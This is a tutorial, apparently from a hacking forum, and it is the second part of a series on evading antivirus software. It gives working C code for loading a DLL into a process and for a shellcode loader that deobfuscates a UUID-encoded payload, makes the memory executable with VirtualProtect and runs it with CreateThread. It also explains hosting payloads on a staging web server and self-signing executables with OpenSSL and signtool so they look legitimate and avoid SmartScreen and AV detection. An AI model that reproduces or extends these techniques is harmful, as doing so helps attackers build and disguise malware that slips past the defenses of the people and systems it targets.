Antivirus Evasion Part 2

securityantivirusevasionmalwarered-teamdllshellcode

Advanced techniques covering local payload execution, DLL loading, shellcode execution, payload staging, and binary signature methods for evasion.

NOTE: A few things I want to make clear: in 2-3 posts, you will not be able to bypass everything. Please understand and accept this. Reading one article will not change your life, and I am getting this information in a structured way from beginner to advanced. Currently, we are just making our basics brick by brick to make something powerful by putting them together.

Following are the topics which we are going to cover in depth this time. Now things will start becoming complicated.

Topics:

  • local payload execution
  • local shellcode execution
  • payload staging
  • binary signature

NOTE: WE WILL USE UUID OBFUSCATION WHICH WAS DISCUSSED IN PART 1

Local Payload Execution:

Now in this topic, we will cover a deep dive into understanding dynamic link libraries, also known as DLLs. If I elaborate more, we can say we will cover how to load a malicious DLL in the current process.

Creating a DLL is very simple and can be done from Visual Studio as well, any version like 2019, 2022, whichever you prefer. First of all, download Visual Studio and open it. Add and set the programming language to C++ and then select dynamic link library. This will give you basic code for a DLL. We will completely change it, but as a beginner, we are learning about DLLs: how they work and how to execute them.

First, we will see a message box after a successful load of the DLL. You can read from here about the MessageBox creation:

#include <Windows.h>
#include <stdio.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "Hacking With Evasion Expert", "xss.is", MB_OK | MB_ICONINFORMATION);
}


BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){

    switch (dwReason){
        case DLL_PROCESS_ATTACH: {
            MsgBoxPayload();
            break;
        };
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }

    return TRUE;
}

Let's Understand the Code:

In the void MessageBox section, we just simply call a function called MessageBox which prints out a message.

Then we have the main section with DllMain. It's an entry point which is executed when the DLL is loaded.

Then we have some switch cases: the message box prints when the DLL is loaded; other cases do nothing.

So what exactly happens when the DLL is loaded? After the successful load of a DLL, we will see a message box.

Let's Get Familiar with Injections - What's Happening:

#include <Windows.h>
#include <stdio.h>


int main(int argc, char* argv[]) {

    if (argc < 2){
        printf("[!] Missing Argument; DLL Payload To Run \n");
        return -1;
    }

    printf("[i] Injecting \"%s\" To The Local Process Of Pid: %d \n", argv[1], GetCurrentProcessId());
 
    printf("[+] Loading DLL... ");
    if (LoadLibraryA(argv[1]) == NULL) {
        printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
        return -1;
    }
    printf("[+] DONE ! \n");

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

Understanding of Code:

At the start, the program will expect a DLL file path. If there is no DLL, we will simply get an error message.

Then we have injection information. It will print the message which we added at the start. It will load in the current process.

Then we can see the code will try to load the DLL using LoadLibrary.

If the DLL fails to load, we will get an error.

At the end, we wait for user action.

This was a basic example. Let's now switch to Local Payload Execution:

Now this time, we will get familiar with a simple basic way to execute shellcode through the creation of a new thread. I know it's basic and simple, but it's important to make our fundamentals better and strong. We will make use of a few APIs like VirtualAlloc, VirtualProtect, and CreateThread (nowadays, most EDRs have flagged a few APIs like VirtualAlloc and VirtualProtect. In the future, we will utilize their alternatives as well).

Note: I want to make it clear that AVs are not going to be bypassed in this way. If we need stronger obfuscation and utilize this way, definitely they will be bypassed. We will see this in intermediate sections.

Let's dive deep into payload execution via shellcode:

We will need to familiarize ourselves with a few WinAPIs. I will add them here:

VirtualAlloc
VirtualProtect
CreateThread

Allocating Memory:

Now here we will use VirtualAlloc to allocate memory. In simple and easy words, I can say we will use VirtualAlloc to allocate a memory section where the shellcode will be stored.

VirtualAlloc function example is as below:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,          // The starting address of the region to allocate
  [in]           SIZE_T dwSize,             // The size of the region to allocate, in bytes
  [in]           DWORD  flAllocationType,   // The type of memory allocation
  [in]           DWORD  flProtect           // The memory protection for the region of pages to be allocated
);

This type of memory is called MEM_RESERVE | MEM_COMMIT, which will reserve a range of virtual addresses without allocating physical memory.

Writing Payload to Memory:

After the allocation of memory, the shellcode will be copied into the region:

  • The deobfuscated code bytes will be copied into memory as pShellcodeAddress. It will clean up pDeobfuscatedPayload by overwriting with 0s.
  • pDeobfuscatedPayload is the base address for heap allocated by UUID deobfuscation.

Modifying Memory Protection:

Before the execution of shellcode, it's very important to change memory protection. Currently, only read/write is permitted. Now here we will use VirtualProtect to modify memory protection, and the payload will execute with either (PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE).

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       // The base address of the memory region whose access protection is to be changed
  [in]  SIZE_T dwSize,          // The size of the region whose access protection attributes are to be changed, in bytes
  [in]  DWORD  flNewProtect,    // The new memory protection option
  [out] PDWORD lpflOldProtect   // Pointer to a 'DWORD' variable that receives the previous access protection value of 'lpAddress'
);

Payload Execution via CreateThread:

Now finally, the payload will be executed by creating a new thread using the CreateThread API, and then we will pass our pShellcodeAddress.

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,    // Set to NULL - optional
  [in]            SIZE_T                  dwStackSize,           // Set to 0 - default
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,        // Pointer to a function to be executed by the thread, in our case it's the base address of the payload
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // Pointer to a variable to be passed to the function executed (set to NULL - optional)
  [in]            DWORD                   dwCreationFlags,       // Set to 0 - default
  [out, optional] LPDWORD                 lpThreadId             // pointer to a 'DWORD' variable that receives the thread ID (set to NULL - optional) 
);

Payload Execution via Function Pointer:

  • We will now see an alternative approach to execute payload without using CreateThread
*(VOID(*)()) pShellcodeAddress)();
typedef VOID (WINAPI* fnShellcodefunc)();       // Defined before the main function
fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
pShell();

In this type, our shellcode will be cast to VOID, and our shellcode will be executed as a function pointer.

Difference between CreateThread vs Function Pointer:

No doubt it's possible to execute shellcode via function pointer, but from my side, I do not suggest using it. The generated shellcode will be terminated after execution, so that's what we don't need.

Because when we use a function pointer, the calling thread will be our main thread. That's the reason the entire process will end.

When executing shellcode in a new thread, it will prevent this issue.

Let's see payload executed properly:

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);  // Wait for 2 seconds

Using getchar pauses execution and waits until the user hits enter.

And then the use of WaitForSingleObject will wait for the shellcode thread to complete.

Main Function:

int main() {

    PBYTE       pDeobfuscatedPayload  = NULL;
    SIZE_T      sDeobfuscatedSize     = 0;

    printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
    printf("[#] Press <Enter> To Decrypt ... ");
    getchar();

    printf("[i] Decrypting ...");
    if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
        return -1;
    }
    printf("[+] DONE !\n");
    printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);

    printf("[#] Press <Enter> To Allocate ... ");
    getchar();
    PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return -1;
    }
    printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();
    memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
    memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);


    DWORD dwOldProtection = 0;

    if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return -1;
    }

    printf("[#] Press <Enter> To Run ... ");
    getchar();
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return -1;
    }

    HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}
  • Now our main function will use UuidDeobfuscation to deobfuscate the payload first, and then allocate the memory, and then copy shellcode to memory and execute.

Deallocating Memory:

Now here, the VirtualFree API will be used to deallocate previously allocated memory. I have added a link; you can get details about the VirtualFree API there.

BOOL VirtualFree(
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

Payload Staging (web server):

In previous topics, the payload was completely stored directly in the binary. This was the most common and most used method to fetch the payload. The problem is when the size of the payload increases, it's hard to convert an exe into shellcode and then add it in code. This is a better and more suitable approach or way to host a payload.

Setting up a web server:

Now in this section, we need a web server to host our payload.

  • The most simple approach is a Python HTTP server

Make sure your payload will be in the same place where you execute this.

Like, create a folder on the desktop, save your payload, and then from the address bar, search cmd and execute this command:

python -m http.server 8000

and visit http://127.0.0.1:8000 in the browser.

Right now, I will take this post in a moderate way so users can digest things easily. Right now, I need you to set up this server. The code section will be complicated; we will see it in part 3. Now we will cover one interesting topic called binary signature.

Binary Signature:

Binary signature is important to make our file look legitimate. A binary signature will be attached to an executable file to make it trustworthy. In simple words, it will be used to increase trust in the file and make it look real, not tampered.

A signature will be issued by a Certificate Authority and will be developed by a combination of cryptographic methods.

How Binary Chain Works:

  • An identity or a single person gets a certificate from any trusted vendor.
  • Sign their executable using signtool.exe
  • And then validation of signature

Now let me share the difference between binary signature and EV (Extended Validation) Certificates:

  • Verification: The binary signature will not be considered as valid and has basic identification, and EV comes with hard and much more secure verification and will definitely be considered as a valid signature.
  • Trust: Mostly AVs know clone certs and invalid certs are not put in a legal way. They will not trust much in comparison to a legitimate EV cert.
  • SmartScreen: Definitely you will get SmartScreen error again and again by using this binary signature, but if you use a proper way, SmartScreen will not trigger.

Why Red Teamers or Any Hacker Need Signatures on Their Files:

  • One of the main reasons is it will reduce your detection
  • No useless popups
  • No SmartScreen trigger
  • Bypass security warnings like lack of trust

To add a binary signature on your file, you need a PFX file with username and password. So let's create this.

Before getting PFX, we need to get a PEM file.

We will use Kali Linux default tool OpenSSL.

Let's first generate a PEM file:

  • openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365

Use any country, any city, any name, any organization name, any email, any address.

Now we will get our PFX file from our PEM.

  • openssl pkcs12 -inkey key.pem -in cert.pem -export -out sign.pfx

Make sure to remember your password; it will be needed at the time of signing.

Copy your PFX file and save it in the folder where your payload is.

Download signtool.exe from Here.

Done. Now right-click on your file, properties, and then check digital signature.